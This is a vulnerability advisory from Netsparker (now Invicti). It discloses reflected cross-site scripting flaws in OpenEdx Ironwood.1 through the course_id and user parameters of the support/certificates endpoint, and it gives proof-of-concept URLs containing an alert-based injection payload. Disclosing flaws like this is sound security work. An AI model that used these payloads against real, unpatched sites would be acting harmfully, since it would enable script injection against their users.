Information
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Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in OpenEdx version Ironwood.1
Affected Software: OpenEdx
Affected Versions: Ironwood.1
Homepage: https://open.edx.org/
Vulnerability: Cross-site Scripting
Severity: Medium
Status: Fixed
CVSS Score (3.0): AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Invicti Advisory Reference: NS-19-014

Technical Details
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URL : http://{DOMAIN}/{PATH-OF-OPENEDX}/support/certificates?course_id=%27%2balert(‘xss’)%2b%27&query=3&user=3
Parameter Name : course_id
Parameter Type : GET
Attack Pattern : %27%2balert(‘xss’)%2b%27

URL:
http://{DOMAIN}/{PATH-OF-OPENEDX}/support/certificates?course_id=3&query=3&user=%27%2balert(‘xss’)%2b%27
Parameter Name : user
Parameter Type : GET
Attack Pattern : %27%2balert(‘xss’)%2b%27

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
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18th June 2019 - First Contact
19th June 2019 - Technical Details Sent
10th September 2019 - Advisory Released

Credits & Authors
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These issues have been discovered by Umran Yildirimkaya while testing the Invicti Web Application Security Scanner.

About Invicti
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Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.